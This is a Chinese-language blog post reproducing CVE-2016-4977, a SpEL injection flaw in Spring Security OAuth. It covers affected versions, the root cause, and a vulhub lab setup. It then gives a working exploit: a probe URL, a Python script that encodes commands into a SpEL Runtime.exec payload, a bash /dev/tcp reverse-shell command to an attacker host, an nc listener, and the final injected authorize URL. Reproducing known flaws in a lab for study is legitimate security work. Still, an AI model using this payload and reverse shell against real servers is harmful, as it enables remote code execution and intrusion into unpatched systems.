CVE-2016-4977
影响范围:
Spring Security OAuth 1.0.0 - 1.0.5
Spring Security OAuth 2.0.0 - 2.0.9
Spring Security OAuth 2.0 - 2.0.14
Spring Security OAuth 2.1 - 2.1.1
Spring Security OAuth 2.2 - 2.2.1
Spring Security OAuth 2.3 - 2.3.2
漏洞类型:
SpEL表达式注入
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
命令执行,进行反弹shell,写入木马
利用原理:
当授权请求中的scope参数不合法,Spring会调用默认的WhitelabelApprovalEndpoint生成错误页面,Spring视图解析器解析错误模板,将${errorSummary}占位符替换成含用户输入的错误描述字符串,攻击者可以构造恶意payload带入到页面内容,Spring渲染引擎未能识别用户输入数据,会将${}包裹的内容再次交给SpEL解析器处理,敏感命令得以执行
漏洞复现:
用现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2016-4977
#拉取镜像
docker-compose up -d
访问构造的url,报错信息含构造计算式结果,说明存在注入点
http://公网ip:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
攻击脚本,python3
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'在python脚本对话框输入反弹shell命令,bash -i /dev/tcp/攻击机ip/监听端口 0>&1

开启监听,nc -lvvp 监听端口

注入payload到url,并访问
http://公网ip:8080/oauth/authorize?response_type=脚本生成的payload&client_id=acme&scope=openid&redirect_uri=http://test
成功连接,虽然连接不稳定

本文链接:
/archives/cve-2016-4977
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧